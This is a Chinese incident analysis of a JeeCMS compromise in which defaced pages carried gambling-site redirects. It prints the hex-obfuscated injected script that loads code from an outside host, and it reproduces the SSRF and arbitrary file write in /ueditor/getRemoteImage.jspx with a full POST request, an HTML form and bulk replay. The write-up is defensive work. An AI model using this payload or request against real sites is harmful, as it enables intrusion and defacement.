JeeCMS漏洞竟沦为黑产SEO的秘密武器?

作者:   深圳市网安计算机安全检测技术有限公司 2019/04/10 17:10:13 227次阅读 国际
文章来源:https://www.4hou.com/vulnerable/17310.html

背景概述

       近日深信服安全感知平台发现客户服务器中的文件被篡改,植入博彩页面。经深信服安全团队排查,发现大量网页文件被篡改,且被篡改的时间非常密集,如下图所示在2019年3月26日 16:46左右网站目录下产生大量恶意文件。

JeeCMS漏洞竟沦为黑产SEO的秘密武器?

入侵分析

        排查篡改目录下最早被篡改的文件,创建时间为2019年3月14日13:53。

JeeCMS漏洞竟沦为黑产SEO的秘密武器?

        排查被篡改的网站文件,均在头部位置发现了恶意代码,如下图所示:

JeeCMS漏洞竟沦为黑产SEO的秘密武器?

恶意代码内容如下:

<script>var _0x150a=["\x3C\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3D\x27\x68\x74\x74\x70\x3A\x2F\x2F\x61\x74\x61\x70\x69\x38\x38\x38\x2E\x63\x6F\x6D\x2F\x67\x6C\x6F\x62\x61\x6C\x2F\x73\x74\x61\x74\x69\x63\x2F\x6A\x73\x2F\x74\x2E\x70\x68\x70\x27\x3E\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E","\x77\x72\x69\x74\x65"];document[_0x150a[1]](_0x150a[0]);</script>

经hex转换解码后发现是一段恶意js脚本,即通过 document.write 写入恶意链接http://atapi888.com/global/static/js/t.php,js  内容如下图所示:

JeeCMS漏洞竟沦为黑产SEO的秘密武器?

        通过浏览器访问http://atapi888.com/global/static/js/t.php后,

  发现返回内容同样为编码后的内容,如下图所示:

JeeCMS漏洞竟沦为黑产SEO的秘密武器?

查看源码,发现此处还有一个博彩流量统计网站http://count.51yes.com/。

JeeCMS漏洞竟沦为黑产SEO的秘密武器?

 

JeeCMS漏洞竟沦为黑产SEO的秘密武器?

 将以上编码的内容hex转换解码后得到如下图所示网址,即通过windows.location.href 打开新窗口   https://www.1851147.com。

JeeCMS漏洞竟沦为黑产SEO的秘密武器?

访问 https://www.1851147.com  页面,发现是博彩站。

JeeCMS漏洞竟沦为黑产SEO的秘密武器?

查杀网站中的webshell后门,没有发现任何webshell网页木马,如下图所示:

JeeCMS漏洞竟沦为黑产SEO的秘密武器?

       根据黑链写入的时间点,排查web日志,发现异常POST请求的时间和文件被篡改的时间点均一致,由此可以得知漏洞必然出在/ueditor/getRemoteImage.jspx接口中。

JeeCMS漏洞竟沦为黑产SEO的秘密武器?

JeeCMS漏洞竟沦为黑产SEO的秘密武器?

漏洞分析

       从web日志中可以发现在某个固定时间点,攻击者发送了大量POST数据包,目标的URL为:http://域名/ueditor/getRemoteImage.jspx,排除了webshell后门存在的可能性,也就说getRemoteImage.jspx该接口必定存在漏洞。源码中寻找getRemoteImage.jspx文件,服务器上未发现该文件了。尝试用内容匹配的方式去寻找存在问题的class组件。这里使用everything的content文件内容匹配功能查找相关接口EeditorAct.class,具体方法如下图所示:

JeeCMS漏洞竟沦为黑产SEO的秘密武器?

       对UeditorAct.class文件进行反编译,分析/ueditor/getRemoteImage.jspx接口,该接口的主要功能是读取远程服务器上的资源并且未对资源的类型或者后缀进行判断并直接将其写入到/u/cms/www/目录下。此处同样存在SSRF漏洞,也就是说通过该接口可以探测内网、访问公网,又由于此处存在了任意文件写入才导致了黑页的写入。

JeeCMS漏洞竟沦为黑产SEO的秘密武器?

漏洞危害

       远程攻击者可借助upfile参数利用服务器端请求伪造漏洞漏洞获取敏感信息,攻击内部网络主机或写入恶意文件。

漏洞复现

测试机器IP:192.168.231.133 安装jeecms v7版本

模拟远程主机IP:192.168.231.134

       本地安装jeecms v7版本,运行环境需要JDK5+TOMCAT5.5+MYSQL5及以上版本,为了复现远程文件读取并达到预期的效果,在远程主机192.168.231.134根目录下写入测试文件test.html。抓取访问数据包,并将其转化为上传格式,数据包转换地址:http://ld8.me/multipart.php

转换之后服务器端发送的数据包如下:

POST /ueditor/getRemoteImage.jspx HTTP/1.1
Host: 192.168.231.133:8080
Proxy-Connection: keep-alive
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2188.2 Safari/537.36
Content-Type: multipart/form-data; boundary=--------WebKitFormBoundaryYJmKM8kHUlKMIlvC
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=A8872FC0A3E148E7A262F1A3D31B8FF9; _site_id_cookie=1; clientlanguage=zh_CN
 
----------WebKitFormBoundaryYJmKM8kHUlKMIlvC
Content-Disposition: form-data; name="upfile"
 
http://192.168.231.134/test.html
----------WebKitFormBoundaryYJmKM8kHUlKMIlvC--

        由于代码端上传的时候直接是用参数upfile,为了方便构造数据包也可以直接构造一个表单来完成此次的操作。表单构造内容如下图所示:

<form action="http://192.168.231.133:8080/ueditor/getRemoteImage.jspx" method="post" enctype="multipart/form-data">
<input name="upfile" value="ue_separate_ue">
<input type="submit">
</form>

表单提交操作如下:

JeeCMS漏洞竟沦为黑产SEO的秘密武器?

模拟植入博彩页面效果

通过burpsiut重放数据包,201904目录下生成09124849fdab.html,成功抓取192.168.231.134上的test.html文件。

JeeCMS漏洞竟沦为黑产SEO的秘密武器?

模拟批量植入博彩页面效果

       设置fiddler中的replay的request值为20,点击replay批量发包,短时间内植入20个恶意HTML页面,可以发现在201904目录下同一时刻内生成大量的恶意html页面。

JeeCMS漏洞竟沦为黑产SEO的秘密武器?

JeeCMS漏洞竟沦为黑产SEO的秘密武器?

防御方案

1、通过深信服下一代防火墙暂时限制对/ueditor/getRemoteImage.jspx接口的访问。

2、升级JeeCMS到最新版本。

参考链接

https://cxsecurity.com/issue/WLB-2018040057

https://www.cnblogs.com/rebeyond/p/5141226.html


指导单位
广东省公安厅网络警察总队 广东省信息安全等级保护协调小组办公室